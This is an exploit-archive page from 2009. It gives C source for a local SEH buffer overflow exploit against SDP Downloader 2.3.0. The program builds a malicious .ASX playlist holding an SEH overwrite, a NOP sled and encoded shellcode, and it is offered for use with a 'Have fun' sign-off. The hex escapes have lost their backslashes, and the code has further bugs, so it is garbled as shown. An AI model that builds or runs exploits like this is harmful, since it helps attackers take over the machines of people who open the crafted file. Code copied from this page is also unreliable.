[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : SDP Downloader 2.3.0 (.ASX) Local Buffer Overflow Exploit (SEH) #2
# Published : 2009-04-27
# Author : SimO-s0fT
# Previous Title : SDP Downloader 2.3.0 (.ASX) Local Buffer Overflow Exploit (SEH)
# Next Title : Zoom Player Pro v.3.30 .m3u File Buffer Overflow Exploit (seh)


/*  SDP-BOF.c
 *  SDP Downloader Local Buffer overflow exploit [SEH]
 *  Credits : Cyber-Zone
 *  Exploit BY :
 *              SimO-s0fT           (maroc-anti-connexion@hotmail.com)
 *  Shoot to :  Stack & r1z &  Str0ke
 *                         
 */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define OFFSET     529
#define NOP        0x90
char head1[]=
"x3cx41x53x58x20x56x45x52x53x49x4fx4ex3dx22x33x2e"
"x30x22x3ex0dx0ax0dx0ax3cx45x4ex54x52x59x3ex3cx54"
"x49x54x4cx45x3ex65x78x70x6cx6fx69x74x3cx2fx54x49"
"x54x4cx45x3ex0dx0ax3cx52x45x46x20x48x52x45x46x3d"
"x22x68x74x74x70x3ax2fx2f";
char head2[]=
"x2ex61x73x66x22x2fx3ex0dx0ax3cx2fx45x4ex54x52x59"
"x3ex3cx2fx41x53x58x3e";

char scode[] =
"xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49"
"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36"
"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34"
"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41"
"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x54"
"x42x30x42x30x42x30x4bx58x45x44x4ex43x4bx58x4ex47"
"x45x50x4ax37x41x50x4fx4ex4bx48x4fx34x4ax51x4bx48"
"x4fx55x42x42x41x50x4bx4ex49x34x4bx58x46x43x4bx38"
"x41x30x50x4ex41x33x42x4cx49x59x4ex4ax46x38x42x4c"
"x46x57x47x30x41x4cx4cx4cx4dx50x41x30x44x4cx4bx4e"
"x46x4fx4bx43x46x35x46x42x46x50x45x47x45x4ex4bx48"
"x4fx45x46x42x41x30x4bx4ex48x36x4bx48x4ex50x4bx34"
"x4bx58x4fx55x4ex51x41x50x4bx4ex4bx58x4ex31x4bx58"
"x41x30x4bx4ex49x48x4ex55x46x32x46x50x43x4cx41x43"
"x42x4cx46x56x4bx58x42x54x42x53x45x58x42x4cx4ax37"
"x4ex30x4bx58x42x44x4ex30x4bx58x42x37x4ex51x4dx4a"
"x4bx48x4ax46x4ax30x4bx4ex49x30x4bx38x42x48x42x4b"
"x42x50x42x50x42x50x4bx48x4ax56x4ex53x4fx55x41x53"
"x48x4fx42x36x48x45x49x58x4ax4fx43x38x42x4cx4bx47"
"x42x55x4ax56x42x4fx4cx48x46x30x4fx45x4ax56x4ax59"
"x50x4fx4cx48x50x30x47x35x4fx4fx47x4ex43x46x41x46"
"x4ex56x43x46x50x42x45x56x4ax57x45x56x42x30x5a";

int main(int argc, char *argv[]){
    FILE *p;
    unsigned char *buffer;
    int n_seh=0x909010eb;
    int seh=0x7C87DE34;
    int i=0;
if(argc!=2){
          fprintf(stdout,"_______________________________________________________________________n");
          fprintf(stdout,"ntt SDP Downloader local Buffer overflow Exploit [seh]nn");
          printf("tUSAGE : %s filename.asxn",argv[0]);
          fprintf(stdout,"_________________________________________________________________________n");
          }   
if((p=fopen(argv[1],"w+b"))==NULL){
                               perror("error");
                               return EXIT_FAILURE;
                                      }
buffer=(unsigned char*) malloc(strlen(head1)+OFFSET+4+4+strlen(scode)+10+strlen(head2));
memset(buffer, 0x41, strlen(head1)+OFFSET+4+4+strlen(scode)+10+strlen(head2));
memcpy(buffer,head1, strlen(head1));
i=OFFSET;
memcpy(buffer+strlen(head1)+i, &n_seh,4);
i+=4;
memcpy(buffer+strlen(head1)+i,&seh,4);
i+=4;
memset(buffer+strlen(head1)+i,0x90,10);
i+=10;
memcpy(buffer+strlen(head1)+i,scode,strlen(scode));
i+=strlen(scode);
memcpy(buffer+strlen(head1)+i,head2,strlen(head2));
i+=strlen(head2);

fputs(buffer,p);
fclose(p);
printf("%s has benn created !! n Have fun n DONE");
return 0x0;
}

// www.Syue.com [2009-04-27]